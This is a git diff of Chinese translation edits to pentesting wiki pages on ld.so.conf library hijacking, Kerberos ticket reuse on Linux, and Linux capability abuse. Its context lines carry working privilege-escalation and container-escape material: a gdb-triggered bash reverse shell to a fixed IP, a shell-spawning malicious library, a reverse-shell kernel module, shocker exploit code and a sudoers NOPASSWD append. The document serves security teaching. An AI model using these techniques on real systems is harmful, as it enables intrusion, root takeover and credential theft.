sharedvuln -lcustom` ### 检查环境 -检查 _libcustom.so_ 是否从 _/usr/lib_ 被**加载**,并且您可以**执行**该二进制文件。 +检查 _libcustom.so_ 是否从 _/usr/lib_ **加载**,并且您可以**执行**该二进制文件。 ``` $ ldd sharedvuln linux-vdso.so.1 => (0x00007ffc9a1f7000) @@ -61,7 +61,7 @@ Hi ``` ## Exploit -在这个场景中,我们将假设**某人已在 _/etc/ld.so.conf/_ 文件中创建了一个易受攻击的条目**: +在这个场景中,我们将假设 **某人已在 _/etc/ld.so.conf/_ 文件中创建了一个易受攻击的入口**: ```bash sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf ``` @@ -81,7 +81,7 @@ printf("I'm the bad library\n"); system("/bin/sh",NULL,NULL); } ``` -现在我们已经**在错误配置的**路径中创建了恶意的 libcustom 库,我们需要等待**重启**或等待 root 用户执行 **`ldconfig`**(_如果您可以作为 **sudo** 执行此二进制文件,或者它具有 **suid 位**,您将能够自己执行它_)。 +现在我们已经**在错误配置的**路径中创建了恶意的 libcustom 库,我们需要等待**重启**或 root 用户执行 **`ldconfig`**(_如果您可以作为 **sudo** 执行此二进制文件,或者它具有 **suid 位**,您将能够自己执行它_)。 一旦发生这种情况,请**重新检查** `sharevuln` 可执行文件从哪里加载 `libcustom.so` 库: ```c @@ -91,7 +91,7 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) ``` -正如您所看到的,它是**从 `/home/ubuntu/lib` 加载的**,如果任何用户执行它,将会执行一个 shell: +如您所见,它是**从 `/home/ubuntu/lib` 加载的**,如果任何用户执行它,将会执行一个 shell: ```c $ ./sharedvuln Welcome to my amazing application! @@ -105,9 +105,9 @@ ubuntu ### 其他错误配置 - 相同漏洞 在前面的例子中,我们伪造了一个错误配置,其中管理员**在 `/etc/ld.so.conf.d/` 中的配置文件内设置了一个非特权文件夹**。\ -但是还有其他错误配置可能导致相同的漏洞,如果您在 `/etc/ld.so.conf.d` 中的某个**配置文件**、文件夹 `/etc/ld.so.conf.d` 或文件 `/etc/ld.so.conf` 中具有**写权限**,您可以配置相同的漏洞并进行利用。 +但是还有其他错误配置可能导致相同的漏洞,如果您在 `/etc/ld.so.conf.d` 中的某些**配置文件**、文件夹 `/etc/ld.so.conf.d` 或文件 `/etc/ld.so.conf` 中具有**写权限**,您可以配置相同的漏洞并进行利用。 -## 利用 2 +## Exploit 2 **假设您对 `ldconfig` 具有 sudo 权限**。\ 您可以指示 `ldconfig` **从哪里加载配置文件**,因此我们可以利用它使 `ldconfig` 加载任意文件夹。\ diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index e29529589..9becf5e66 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -4,7 +4,7 @@ 一台 Linux 机器也可以存在于 Active Directory 环境中。 -在 AD 中的 Linux 机器可能会 **在文件中存储不同的 CCACHE 票证。这些票证可以像其他 kerberos 票证一样被使用和滥用**。为了读取这些票证,您需要是票证的用户所有者或 **root** 用户。 +在 AD 中的 Linux 机器可能会 **在文件中存储不同的 CCACHE 票证。这些票证可以像其他任何 kerberos 票证一样被使用和滥用**。要读取这些票证,您需要是票证的用户所有者或 **root** 用户。 ## 枚举 @@ -20,7 +20,7 @@ ### FreeIPA -FreeIPA 是一个开源的 **替代方案**,用于 Microsoft Windows **Active Directory**,主要针对 **Unix** 环境。它结合了一个完整的 **LDAP 目录** 和一个 MIT **Kerberos** 密钥分发中心,管理方式类似于 Active Directory。利用 Dogtag **证书系统**进行 CA 和 RA 证书管理,支持 **多因素** 身份验证,包括智能卡。集成了 SSSD 以支持 Unix 身份验证过程。了解更多信息: +FreeIPA 是一个开源的 **替代方案**,用于 Microsoft Windows **Active Directory**,主要针对 **Unix** 环境。它结合了完整的 **LDAP 目录** 和 MIT **Kerberos** 密钥分发中心,管理方式类似于 Active Directory。利用 Dogtag **证书系统**进行 CA 和 RA 证书管理,支持 **多因素** 身份验证,包括智能卡。集成了 SSSD 以支持 Unix 身份验证过程。了解更多信息: {{#ref}} ../freeipa-pentesting.md @@ -38,7 +38,7 @@ FreeIPA 是一个开源的 **替代方案**,用于 Microsoft Windows **Active ### 从 /tmp 重用 CCACHE 票证 -CCACHE 文件是用于 **存储 Kerberos 凭据** 的二进制格式,通常以 600 权限存储在 `/tmp` 中。这些文件可以通过其 **名称格式 `krb5cc_%{uid}`** 进行识别,与用户的 UID 相关联。为了验证身份验证票证,**环境变量 `KRB5CCNAME`** 应设置为所需票证文件的路径,以便启用其重用。 +CCACHE 文件是用于 **存储 Kerberos 凭据** 的二进制格式,通常以 600 权限存储在 `/tmp` 中。这些文件可以通过其 **名称格式 `krb5cc_%{uid}`** 进行识别,与用户的 UID 相关联。要验证身份验证票证,**环境变量 `KRB5CCNAME`** 应设置为所需票证文件的路径,以便重用。 使用 `env | grep KRB5CCNAME` 列出当前用于身份验证的票证。该格式是可移植的,票证可以通过设置环境变量 **重用**,使用 `export KRB5CCNAME=/tmp/ticket.ccache`。Kerberos 票证名称格式为 `krb5cc_%{uid}`,其中 uid 是用户 UID。 ```bash @@ -66,7 +66,7 @@ make CONF=Release SSSD在路径 `/var/lib/sss/secrets/secrets.ldb` 处维护数据库的副本。相应的密钥存储为隐藏文件,路径为 `/var/lib/sss/secrets/.secrets.mkey`。默认情况下,只有在您具有 **root** 权限时,才能读取该密钥。 -使用 **`SSSDKCMExtractor`** 及 --database 和 --key 参数将解析数据库并 **解密秘密**。 +使用 **`SSSDKCMExtractor`** 及其 --database 和 --key 参数将解析数据库并 **解密秘密**。 ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey @@ -93,7 +93,7 @@ klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab python3 keytabextract.py krb5.keytab # Expected output varies based on hash availability ``` -在 macOS 上,**`bifrost`** 作为一个工具用于 keytab 文件分析。 +在macOS上,**`bifrost`** 用作密钥表文件分析工具。 ```bash ./bifrost -action dump -source keytab -path /path/to/your/file ``` @@ -101,7 +101,7 @@ python3 keytabextract.py krb5.keytab ```bash crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" ``` -## 参考 +## 参考文献 - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index 6ace3a0d4..fdead44fb 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -2,6 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} + ## Linux Capabilities Linux capabilities 将 **root 权限划分为更小、独立的单元**,允许进程拥有一部分权限。这通过不必要地授予完全的 root 权限来最小化风险。 @@ -12,34 +13,34 @@ Linux capabilities 将 **root 权限划分为更小、独立的单元**,允许 ### 权限集: -1. **Inherited (CapInh)**: +1. **继承 (CapInh)**: - **目的**:确定从父进程传递下来的能力。 - **功能**:当创建新进程时,它从其父进程继承此集合中的能力。对于在进程生成中维护某些权限非常有用。 - **限制**:进程不能获得其父进程未拥有的能力。 -2. **Effective (CapEff)**: +2. **有效 (CapEff)**: - **目的**:表示进程在任何时刻实际使用的能力。 - **功能**:这是内核检查以授予各种操作权限的能力集合。对于文件,这个集合可以是一个标志,指示文件的允许能力是否被视为有效。 - **重要性**:有效集合对于即时权限检查至关重要,充当进程可以使用的活动能力集合。 -3. **Permitted (CapPrm)**: +3. **允许 (CapPrm)**: - **目的**:定义进程可以拥有的最大能力集合。 -- **功能**:进程可以将权限集合中的能力提升到其有效集合,从而使其能够使用该能力。它还可以从其权限集合中删除能力。 -- **边界**:它作为进程可以拥有的能力的上限,确保进程不会超出其预定义的权限范围。 +- **功能**:进程可以将允许集合中的能力提升到其有效集合,从而使其能够使用该能力。它也可以从其允许集合中删除能力。 +- **边界**:它作为进程可以拥有的能力的上限,确保进程不会超过其预定义的权限范围。 -4. **Bounding (CapBnd)**: +4. **边界 (CapBnd)**: - **目的**:对进程在其生命周期内可以获得的能力设置上限。 -- **功能**:即使进程在其可继承或允许的集合中具有某种能力,除非它也在边界集合中,否则无法获得该能力。 +- **功能**:即使进程在其可继承或允许集合中具有某种能力,除非它也在边界集合中,否则无法获得该能力。 - **用例**:此集合特别有助于限制进程的权限提升潜力,增加额外的安全层。 -5. **Ambient (CapAmb)**: +5. **环境 (CapAmb)**: - **目的**:允许某些能力在 `execve` 系统调用中保持,这通常会导致进程能力的完全重置。 -- **功能**:确保没有相关文件能力的非 SUID 程序可以保留某些权限。 -- **限制**:此集合中的能力受可继承和允许集合的约束,确保它们不会超出进程的允许权限。 +- **功能**:确保没有关联文件能力的非 SUID 程序可以保留某些权限。 +- **限制**:此集合中的能力受可继承和允许集合的约束,确保它们不会超过进程的允许权限。 ```python # Code to demonstrate the interaction of different capability sets might look like this: # Note: This is pseudo-code for illustrative purposes only. @@ -100,7 +101,7 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` -虽然这样可以工作,但还有另一种更简单的方法。要查看正在运行的进程的能力,只需使用 **getpcaps** 工具,后面跟上其进程 ID (PID)。您还可以提供一个进程 ID 列表。 +虽然这有效,但还有另一种更简单的方法。要查看正在运行的进程的能力,只需使用 **getpcaps** 工具,后跟其进程 ID (PID)。您还可以提供进程 ID 的列表。 ```bash getpcaps 1234 ``` @@ -123,7 +124,7 @@ $ capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` 如您所见,给定的能力与获取二进制文件能力的两种方法的结果相对应。\ -_getpcaps_ 工具使用 **capget()** 系统调用查询特定线程的可用能力。此系统调用只需提供 PID 即可获取更多信息。 +_getpcaps_ 工具使用 **capget()** 系统调用查询特定线程的可用能力。此系统调用只需要提供 PID 以获取更多信息。 ### 二进制文件能力 @@ -276,15 +277,15 @@ capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ``` > [!CAUTION] -> 你只能**添加在** permitted 和 inheritable 集合中**存在的能力**。 +> 你只能**添加在**允许和继承集合中**存在的能力**。 ### 能力感知/能力无知的二进制文件 -**能力感知的二进制文件不会使用环境中提供的新能力**,然而**能力无知的二进制文件会使用**它们,因为它们不会拒绝这些能力。这使得能力无知的二进制文件在一个授予二进制文件能力的特殊环境中变得脆弱。 +**能力感知的二进制文件不会使用环境赋予的新能力**,然而**能力无知的二进制文件会使用**它们,因为它们不会拒绝这些能力。这使得能力无知的二进制文件在一个授予能力的特殊环境中变得脆弱。 ## 服务能力 -默认情况下,**以 root 身份运行的服务将被分配所有能力**,在某些情况下这可能是危险的。\ +默认情况下,**以root身份运行的服务将被分配所有能力**,在某些情况下这可能是危险的。\ 因此,**服务配置**文件允许**指定**你希望它拥有的**能力**,**以及**应该执行该服务的**用户**,以避免以不必要的权限运行服务: ```bash [Service] @@ -321,7 +322,7 @@ setcap cap_net_raw+ep /sbin/ping getcap /sbin/ping /sbin/ping = cap_net_raw+ep ``` -`+ep` 表示您正在将能力添加为有效和允许(“-”将移除它)。 +`+ep`意味着您正在将能力添加为有效和允许(“-”将删除它)。 要识别系统或文件夹中具有能力的程序: ```bash @@ -355,7 +356,7 @@ getcap /usr/sbin/tcpdump ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 是一种非常强大的Linux能力,通常被视为接近root级别,因为它具有广泛的**管理权限**,例如挂载设备或操纵内核特性。虽然对于模拟整个系统的容器来说是不可或缺的,但**`CAP_SYS_ADMIN` 带来了重大的安全挑战**,尤其是在容器化环境中,因为它可能导致特权提升和系统妥协。因此,其使用需要严格的安全评估和谨慎管理,强烈建议在特定应用的容器中放弃此能力,以遵循**最小权限原则**并最小化攻击面。 +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 是一种强大的Linux能力,通常被视为接近root级别,因为它具有广泛的**管理权限**,例如挂载设备或操纵内核特性。虽然在模拟整个系统的容器中不可或缺,但**`CAP_SYS_ADMIN` 带来了重大的安全挑战**,尤其是在容器化环境中,因为它可能导致特权提升和系统妥协。因此,其使用需要严格的安全评估和谨慎管理,强烈建议在特定应用的容器中放弃此能力,以遵循**最小特权原则**并最小化攻击面。 **带有二进制文件的示例** ```bash @@ -398,7 +399,7 @@ uid=0(root) gid=0(root) groups=0(root) ``` -在之前的输出中,您可以看到 SYS_ADMIN 能力已启用。 +在之前的输出中,您可以看到 SYS_ADMIN 权限已启用。 - **挂载** @@ -433,9 +434,9 @@ ssh john@172.17.0.1 -p 2222 ``` ## CAP_SYS_PTRACE -**这意味着您可以通过在主机上运行的某个进程中注入 shellcode 来逃离容器。** 要访问在主机上运行的进程,容器需要至少以 **`--pid=host`** 运行。 +**这意味着您可以通过在主机内部运行的某个进程中注入 shellcode 来逃离容器。** 要访问在主机内部运行的进程,容器需要至少以 **`--pid=host`** 运行。 -**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 授予使用 `ptrace(2)` 提供的调试和系统调用跟踪功能的能力,以及像 `process_vm_readv(2)` 和 `process_vm_writev(2)` 这样的跨内存附加调用。尽管对于诊断和监控目的非常强大,但如果在没有像 `ptrace(2)` 的 seccomp 过滤器等限制措施的情况下启用 `CAP_SYS_PTRACE`,可能会显著削弱系统安全性。具体来说,它可以被利用来规避其他安全限制,特别是 seccomp 强加的限制,正如 [这样的概念证明 (PoC)](https://gist.github.com/thejh/8346f47e359adecd1d53) 所示。 +**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 授予使用 `ptrace(2)` 提供的调试和系统调用跟踪功能的能力,以及像 `process_vm_readv(2)` 和 `process_vm_writev(2)` 这样的跨内存附加调用。尽管对于诊断和监控目的非常强大,但如果在没有像 seccomp 过滤器这样的限制措施的情况下启用 `CAP_SYS_PTRACE`,可能会显著削弱系统安全性。具体来说,它可以被利用来规避其他安全限制,特别是 seccomp 强加的限制,正如 [这样的概念证明 (PoC)](https://gist.github.com/thejh/8346f47e359adecd1d53) 所示。 **使用二进制文件的示例 (python)** ```bash @@ -531,7 +532,7 @@ libc.ptrace(PTRACE_DETACH, pid, None, None) ``` **使用二进制的示例 (gdb)** -`gdb` 具有 `ptrace` 权限: +`gdb` 具有 `ptrace` 能力: ``` /usr/bin/gdb = cap_sys_ptrace+ep ``` @@ -582,16 +583,16 @@ Continuing. process 207009 is executing new program: /usr/bin/dash [...] ``` -**带环境的示例(Docker突破) - 另一个gdb滥用** +**带环境的示例(Docker 突破) - 另一个 gdb 滥用** -如果**GDB**已安装(或者你可以通过`apk add gdb`或`apt install gdb`等方式安装它),你可以**从主机调试一个进程**并使其调用`system`函数。(此技术还需要能力`SYS_ADMIN`)**。** +如果 **GDB** 已安装(或者你可以通过 `apk add gdb` 或 `apt install gdb` 等安装它),你可以 **从主机调试一个进程** 并使其调用 `system` 函数。(此技术还需要能力 `SYS_ADMIN`)**。** ```bash gdb -p 1234 (gdb) call (void)system("ls") (gdb) call (void)system("sleep 5") (gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'") ``` -您将无法看到执行命令的输出,但它将由该进程执行(因此获取反向 shell)。 +您将无法看到执行命令的输出,但该进程将执行该命令(因此获取反向 shell)。 > [!WARNING] > 如果您收到错误 "No symbol "system" in current context.",请检查通过 gdb 在程序中加载 shellcode 的前一个示例。 @@ -614,8 +615,8 @@ groups=0(root 列出 **主机** 中运行的 **进程** `ps -eaf` 1. 获取 **架构** `uname -m` -2. 查找适合该架构的 **shellcode** ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) -3. 查找一个 **程序** 来 **注入** **shellcode** 到进程内存中 ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) +2. 查找适用于该架构的 **shellcode** ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) +3. 查找一个 **程序** 以 **注入** **shellcode** 到进程内存中 ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) 4. **修改** 程序中的 **shellcode** 并 **编译** 它 `gcc inject.c -o inject` 5. **注入** 并获取你的 **shell**: `./inject 299; nc 172.17.0.1 5600` @@ -624,7 +625,7 @@ groups=0(root **[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** 使进程能够 **加载和卸载内核模块 (`init_module(2)`、`finit_module(2)` 和 `delete_module(2)` 系统调用)**,提供对内核核心操作的直接访问。此能力带来了严重的安全风险,因为它允许特权升级和完全系统妥协,通过允许对内核的修改,从而绕过所有 Linux 安全机制,包括 Linux 安全模块和容器隔离。 **这意味着你可以** **在主机的内核中插入/移除内核模块。** -**带二进制文件的示例** +**带有二进制文件的示例** 在以下示例中,二进制文件 **`python`** 拥有此能力。 ```bash @@ -637,7 +638,7 @@ getcap -r / 2>/dev/null mkdir lib/modules -p cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) ``` -然后**编译内核模块,您可以在下面找到 2 个示例并将其复制**到此文件夹: +然后**编译内核模块,您可以在下面找到 2 个示例,并将其复制**到此文件夹: ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` @@ -674,7 +675,7 @@ groups=0(root) ``` 在之前的输出中,您可以看到 **SYS_MODULE** 权限已启用。 -**创建** 将要执行反向 shell 的 **内核模块** 和 **Makefile** 以 **编译** 它: +**创建** 将执行反向 shell 的 **内核模块** 和 **Makefile** 以 **编译** 它: ```c:reverse-shell.c #include #include @@ -718,7 +719,7 @@ ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. S sudo apt update sudo apt full-upgrade ``` -最后,在一个 shell 中启动 `nc`,并从另一个 shell 中 **加载模块**,你将会在 nc 进程中捕获到 shell: +最后,在一个 shell 中启动 `nc`,然后从另一个 shell 中 **加载模块**,你将会在 nc 进程中捕获到 shell: ```bash #Shell 1 nc -lvnp 4444 @@ -732,7 +733,7 @@ insmod reverse-shell.ko #Launch the reverse shell ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 使进程能够 **绕过读取文件和读取及执行目录的权限**。它的主要用途是用于文件搜索或读取。然而,它还允许进程使用 `open_by_handle_at(2)` 函数,该函数可以访问任何文件,包括那些在进程的挂载命名空间之外的文件。在 `open_by_handle_at(2)` 中使用的句柄应该是通过 `name_to_handle_at(2)` 获得的非透明标识符,但它可以包含易受篡改的敏感信息,如 inode 号。该能力的潜在利用,特别是在 Docker 容器的上下文中,已由 Sebastian Krahmer 通过 shocker 漏洞进行了演示,分析见 [这里](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)。 +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 使进程能够 **绕过读取文件和读取及执行目录的权限**。它的主要用途是用于文件搜索或读取。然而,它还允许进程使用 `open_by_handle_at(2)` 函数,该函数可以访问任何文件,包括那些在进程的挂载命名空间之外的文件。在 `open_by_handle_at(2)` 中使用的句柄应该是通过 `name_to_handle_at(2)` 获得的非透明标识符,但它可以包含易受篡改的敏感信息,如 inode 号。该能力的潜在利用,特别是在 Docker 容器的上下文中,已被 Sebastian Krahmer 通过 shocker 漏洞演示,如 [这里](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) 分析的那样。 **这意味着您可以** **绕过文件读取权限检查和目录读取/执行权限检查。** **带有二进制文件的示例** @@ -757,7 +758,7 @@ print(filename) ```python print(open("/etc/shadow", "r").read()) ``` -**示例环境(Docker 逃逸)** +**在环境中的示例(Docker 逃逸)** 您可以使用以下命令检查 Docker 容器内启用的能力: ``` @@ -937,7 +938,7 @@ return 0; **这意味着您可以绕过对任何文件的写入权限检查,因此您可以写入任何文件。** -有很多文件您可以 **覆盖以提升权限,** [**您可以从这里获取想法**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。 +有很多文件您可以 **覆盖以提升权限,** [**您可以从这里获取灵感**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。 **使用二进制文件的示例** @@ -956,7 +957,7 @@ file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` -**示例:环境 + CAP_DAC_READ_SEARCH(Docker 逃逸)** +**带环境的示例 + CAP_DAC_READ_SEARCH (Docker 逃逸)** 您可以使用以下命令检查 Docker 容器内启用的能力: ```bash @@ -971,8 +972,8 @@ uid=0(root) gid=0(root) groups=0(root) ``` -首先阅读上一节 [**滥用 DAC_READ_SEARCH 能力以读取任意文件**](linux-capabilities.md#cap_dac_read_search) 的内容,并 **编译** 漏洞利用代码。\ -然后,**编译以下版本的 shocker 漏洞利用代码**,这将允许您在主机文件系统中 **写入任意文件**: +首先阅读上一节中[**滥用 DAC_READ_SEARCH 能力以读取任意文件**](linux-capabilities.md#cap_dac_read_search)的内容,并**编译**漏洞利用代码。\ +然后,**编译以下版本的 shocker 漏洞利用代码**,这将允许您在主机文件系统中**写入任意文件**: ```c #include #include @@ -1113,7 +1114,7 @@ return 0; ``` 为了逃离 docker 容器,你可以 **下载** 主机上的文件 `/etc/shadow` 和 `/etc/passwd`,**添加** 一个 **新用户**,并使用 **`shocker_write`** 来覆盖它们。然后,通过 **ssh** **访问**。 -**该技术的代码来自于“滥用 DAC_OVERRIDE 能力”的实验室** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) +**该技术的代码来自于“滥用 DAC_OVERRIDE 能力”实验室** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) ## CAP_CHOWN @@ -1223,7 +1224,7 @@ print (cap + " was successfully added to " + path) python setcapability.py /usr/bin/python2.7 ``` > [!WARNING] -> 注意,如果您使用 CAP_SETFCAP 为二进制文件设置了新的能力,您将失去此能力。 +> 请注意,如果您使用 CAP_SETFCAP 为二进制文件设置新能力,您将失去此能力。 一旦您拥有 [SETUID capability](linux-capabilities.md#cap_setuid),您可以查看其部分以了解如何提升权限。 @@ -1242,7 +1243,7 @@ capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ``` 这个能力允许**将任何其他能力赋予二进制文件**,因此我们可以考虑**利用此页面提到的其他能力突破**来**逃逸**容器。\ -然而,如果你尝试将能力 CAP_SYS_ADMIN 和 CAP_SYS_PTRACE 赋予 gdb 二进制文件,你会发现你可以赋予它们,但**二进制文件在此之后将无法执行**: +然而,如果你尝试例如将能力 CAP_SYS_ADMIN 和 CAP_SYS_PTRACE 赋予 gdb 二进制文件,你会发现你可以赋予它们,但**二进制文件在此之后将无法执行**: ```bash getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip @@ -1252,7 +1253,7 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb /usr/bin/gdb bash: /usr/bin/gdb: Operation not permitted ``` -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: 这是一个**有效能力的限制超集**,线程可以假定它。它也是一个限制超集,线程可以将其**有效集**中没有CAP_SETPCAP能力的能力添加到可继承集。_\ +[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: 这是一个**有效能力的限制超集**,线程可以假设它。它也是一个限制超集,线程可以将其**不具有CAP_SETPCAP**能力的有效集添加到可继承集。_\ 看起来Permitted能力限制了可以使用的能力。\ 然而,Docker默认也授予**CAP_SETPCAP**,因此您可能能够**在可继承的能力中设置新能力**。\ 然而,在此能力的文档中:_CAP_SETPCAP : \[…] **将调用线程的边界**集中的任何能力添加到其可继承集。_\ @@ -1278,9 +1279,9 @@ import signal pgid = os.getpgid(341) os.killpg(pgid, signal.SIGKILL) ``` -**使用 kill 提权** +**使用 kill 进行权限提升** -如果你拥有 kill 权限,并且有一个 **以 root 身份运行的 node 程序**(或以其他用户身份运行),你可以 **发送** 给它 **信号 SIGUSR1**,使其 **打开 node 调试器**,以便你可以连接。 +如果你拥有 kill 权限,并且有一个 **以 root 身份运行的 node 程序**(或以其他用户身份运行),你可以 **发送** 给它 **信号 SIGUSR1**,使其 **打开 node 调试器**,你可以在此连接。 ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d @@ -1293,7 +1294,7 @@ electron-cef-chromium-debugger-abuse.md **这意味着可以在任何端口上监听(甚至是特权端口)。** 你不能直接通过这个能力提升特权。 -**带二进制的示例** +**带有二进制的示例** 如果 **`python`** 拥有这个能力,它将能够在任何端口上监听,甚至可以从它连接到任何其他端口(某些服务需要从特定特权端口进行连接) @@ -1323,7 +1324,7 @@ s.connect(('10.10.10.10',500)) ## CAP_NET_RAW -[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 能力允许进程 **创建 RAW 和 PACKET 套接字**,使它们能够生成和发送任意网络数据包。这可能导致容器化环境中的安全风险,例如数据包欺骗、流量注入和绕过网络访问控制。恶意行为者可能利用这一点干扰容器路由或危害主机网络安全,尤其是在没有足够防火墙保护的情况下。此外,**CAP_NET_RAW** 对于特权容器支持通过 RAW ICMP 请求进行的操作(如 ping)至关重要。 +[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 能力允许进程 **创建 RAW 和 PACKET 套接字**,使它们能够生成和发送任意网络数据包。这可能导致容器化环境中的安全风险,例如数据包欺骗、流量注入和绕过网络访问控制。恶意行为者可能利用这一点干扰容器路由或危害主机网络安全,尤其是在没有足够防火墙保护的情况下。此外,**CAP_NET_RAW** 对于特权容器支持通过 RAW ICMP 请求进行 ping 操作至关重要。 **这意味着可以嗅探流量。** 你不能直接通过这个能力提升权限。 @@ -1388,7 +1389,7 @@ count=count+1 **带二进制的示例** -假设 **python 二进制文件** 具有这些权限。 +假设 **python 二进制文件** 拥有这些权限。 ```python #Dump iptables filter table rules import iptc @@ -1406,7 +1407,7 @@ iptc.easy.flush_table('filter') **带有二进制的示例** -如果你发现一个文件是不可变的,并且 python 拥有这个能力,你可以 **移除不可变属性并使文件可修改:** +如果你发现一个文件是不可变的,并且 python 具有这个能力,你可以 **移除不可变属性并使文件可修改:** ```python #Check that the file is imutable lsattr file.sh @@ -1450,7 +1451,7 @@ f.write('New content for the file\n') ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 在 Linux 2.6.37 中从更广泛的 **CAP_SYS_ADMIN** 中分离,专门授予使用 `syslog(2)` 调用的能力。此能力使得在 `kptr_restrict` 设置为 1 时,可以通过 `/proc` 和类似接口查看内核地址,该设置控制内核地址的暴露。自 Linux 2.6.39 起,`kptr_restrict` 的默认值为 0,这意味着内核地址被暴露,尽管许多发行版出于安全原因将其设置为 1(隐藏地址,除非来自 uid 0)或 2(始终隐藏地址)。 +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) 在 Linux 2.6.37 中从更广泛的 **CAP_SYS_ADMIN** 中分离,专门授予使用 `syslog(2)` 调用的能力。此能力使得在 `kptr_restrict` 设置为 1 时,可以通过 `/proc` 和类似接口查看内核地址,该设置控制内核地址的暴露。自 Linux 2.6.39 起,`kptr_restrict` 的默认值为 0,这意味着内核地址是暴露的,尽管许多发行版出于安全原因将其设置为 1(隐藏地址,除非来自 uid 0)或 2(始终隐藏地址)。 此外,**CAP_SYSLOG** 允许在 `dmesg_restrict` 设置为 1 时访问 `dmesg` 输出。尽管这些变化,**CAP_SYS_ADMIN** 仍然保留执行 `syslog` 操作的能力,因其历史原因。 @@ -1502,11 +1503,11 @@ head /proc/12345/root/dev/sdb ### CAP_SETPCAP -**CAP_SETPCAP** 使进程能够 **更改另一个进程的能力集**,允许从有效、可继承和允许的集合中添加或删除能力。然而,进程只能修改其在自己允许集合中拥有的能力,确保它无法将另一个进程的权限提升到超出其自身的权限。最近的内核更新收紧了这些规则,限制 `CAP_SETPCAP` 只能减少其自身或其后代的允许集合中的能力,旨在降低安全风险。使用此功能需要在有效集合中拥有 `CAP_SETPCAP`,并在允许集合中拥有目标能力,利用 `capset()` 进行修改。这总结了 `CAP_SETPCAP` 的核心功能和限制,突出了其在权限管理和安全增强中的作用。 +**CAP_SETPCAP** 使进程能够 **更改另一个进程的能力集**,允许从有效、可继承和允许的集合中添加或删除能力。然而,进程只能修改其自身允许集中的能力,确保它无法将另一个进程的权限提升到超出自身的水平。最近的内核更新收紧了这些规则,限制 `CAP_SETPCAP` 仅能减少其自身或其后代的允许集中的能力,旨在降低安全风险。使用此功能需要在有效集内拥有 `CAP_SETPCAP`,并在允许集内拥有目标能力,利用 `capset()` 进行修改。这总结了 `CAP_SETPCAP` 的核心功能和限制,突出了其在权限管理和安全增强中的作用。 **`CAP_SETPCAP`** 是一个 Linux 能力,允许进程 